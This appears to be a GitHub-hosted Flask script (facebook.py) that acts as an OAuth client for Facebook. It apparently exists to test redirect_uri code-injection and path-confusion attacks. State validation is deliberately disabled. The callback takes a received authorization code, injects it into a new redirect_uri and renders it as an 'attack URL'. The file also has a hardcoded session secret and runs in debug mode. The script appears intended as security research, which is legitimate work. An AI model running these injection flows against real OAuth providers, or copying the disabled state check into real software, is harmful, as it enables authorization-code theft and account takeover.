-
Notifications
You must be signed in to change notification settings - Fork 0
/
facebook.py
199 lines (173 loc) · 6.7 KB
/
facebook.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from flask import Flask, Response, request, make_response, redirect, render_template, jsonify
from flask import session as login_session
from flask_cors import CORS
from urllib.parse import urlparse, urlunparse
import requests
import random
import string
import json
app = Flask(__name__)
CORS(app)
DO_NOT_CHECK_STATE = True
ngrok = 'https://4406-2-37-67-76.ngrok.io'
authorization_base_url = 'https://www.facebook.com/v16.0/dialog/oauth'
token_url = 'https://graph.facebook.com/v16.0/oauth/access_token'
request_url = 'https://graph.facebook.com/v16.0/me'
redirect_uri = f'{ngrok}/login/oauth/authorize'
client_id = '937387930629121'
client_secret = 'REDACTED'
scope = 'email'
inject_code = '1234567890'
# Login page
@app.route('/', methods=['GET'])
def show_login():
"""
Show the login page and create the random state parameter.
If the user is authenticated, redirect to the main page.
"""
print(f'show_login(), session: {login_session}')
if 'access_token' in login_session:
return redirect('/index')
state = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(32))
login_session['state'] = state
#return jsonify(state=state)
return render_template('login.html', state=state, provider='Facebook')
# 1. Send initial request to get permissions from the user
@app.route('/handleLogin', methods=["GET"])
def handleLogin():
'''
Make the first request to get authorization from the user.
'''
# Check if there's a passed callback URL
if 'callback' in request.args:
if request.args.get('callback').startswith('/'):
_redirect_uri = redirect_uri + request.args.get('callback')[1:]
else:
_redirect_uri = redirect_uri + request.args.get('callback')
else:
_redirect_uri = redirect_uri
# Check that the state parameter is valid
if DO_NOT_CHECK_STATE or login_session['state'] == request.args.get('state'):
# Get the authorization code
url = f'{authorization_base_url}?client_id={client_id}&state={login_session["state"]}' + \
f'&scope={scope}' + \
f'&response_type=code' + \
f'&redirect_uri={_redirect_uri}'
return redirect(url)
else:
return jsonify(invalid_state_token="invalid_state_token")
# 1. Redeem tests: send authorization request
@app.route('/authorize', methods=["GET"])
def authorize():
'''
Make the first request to get authorization from the user.
'''
if 'test' in request.args:
test = request.args.get('test')
else:
test = 'genuine'
_redirect_uri = ''
if test == 'genuine':
_redirect_uri = f'{redirect_uri}'
elif test == 'code_injection':
_redirect_uri = f'{redirect_uri}%3Fcode%3D{inject_code}'
elif test == 'code_injection_path_confusion':
_redirect_uri = f'{redirect_uri}/FAKEPATH'
# Get the authorization code
url = f'{authorization_base_url}?client_id={client_id}&state={login_session["state"]}' + \
f'&response_type=code' + \
f'&scope={scope}' + \
f'&redirect_uri={_redirect_uri}'
return redirect(url)
# /login/oauth/authorize
#2. Using the /callback route to handle authentication
@app.route('/login/oauth/authorize', methods=['GET', 'POST'])
def handle_callback_login():
if DO_NOT_CHECK_STATE or login_session['state'] == request.args.get('state'):
if 'state' not in login_session:
return render_template(
'attack.html', attack_URL='',
provider='Facebook',
code=request.args.get('code'),
state=request.args.get('state')
)
if 'code' in request.args:
# Create an attack URL to redirect the user to by injecting the received code into the redirect_URI
_redirect_uri = f'{redirect_uri}%3Fcode%3D{request.args.get("code")}'
url = f'{authorization_base_url}?client_id={client_id}&state={login_session["state"]}' + \
f'&response_type=code' + \
f'&scope={scope}' + \
f'&redirect_uri={_redirect_uri}'
return render_template(
'attack.html', attack_URL=url,
provider='Facebook',
code=request.args.get('code'),
state=request.args.get('state')
)
else:
return jsonify(error="404_no_code"), 404
else:
return jsonify(invalid_state_token="invalid_state_token")
@app.route('/redeem', methods=['GET'])
def redeem():
'''
Redeem the authorization code for an access token.
'''
if 'code' in request.args:
if 'test' in request.args:
test = request.args.get('test')
else:
test = 'genuine'
_redirect_uri = ''
if test == 'genuine':
_redirect_uri = f'{redirect_uri}'
elif test == 'code_injection':
_redirect_uri = f'{redirect_uri}%3Fcode%3D{inject_code}'
elif test == 'code_injection_path_confusion':
_redirect_uri = f'{redirect_uri}/FAKEPATH'
# Redeem the authorization code for an access token
url = f'{token_url}?' + \
f'client_id={client_id}&client_secret={client_secret}' + \
f'&code={request.args.get("code")}' + \
f'&redirect_uri={_redirect_uri}' + \
f'&grant_type=authorization_code'
r = requests.get(url)
print(f'redeem: {url}')
try:
return jsonify(r.json())
except AttributeError:
app.logger.debug('error redeeming the code')
return jsonify(response=r.text), 500
else:
return jsonify(error="404_no_code"), 404
# 3. Get user information from GitHub
@app.route('/index')
def index():
print(f'index, session: {login_session}')
# Check for access_token in session
if 'access_token' not in login_session:
return 'You are not authenticated', 404
# Retrieve user information from the API
url = request_url
r = requests.get(url,
params={
'access_token': login_session['access_token'],
'client_id': client_id,
'client_secret': client_secret,
'redirect_uri': redirect_uri
})
try:
response = r.json()
return jsonify(response=response)
except AttributeError:
app.logger.debug('error getting the information')
return "Error retrieving the information", 500
@app.errorhandler(404)
def page_not_found(e):
return jsonify(request.args), 404
# if 'error' in request.args and 'redirect_uri_mismatch' in request.args.get('error'):
# return jsonify(request.args)
# else:
if __name__ == '__main__':
app.secret_key = 'super_secret_key'
app.run(debug=True, port=8081)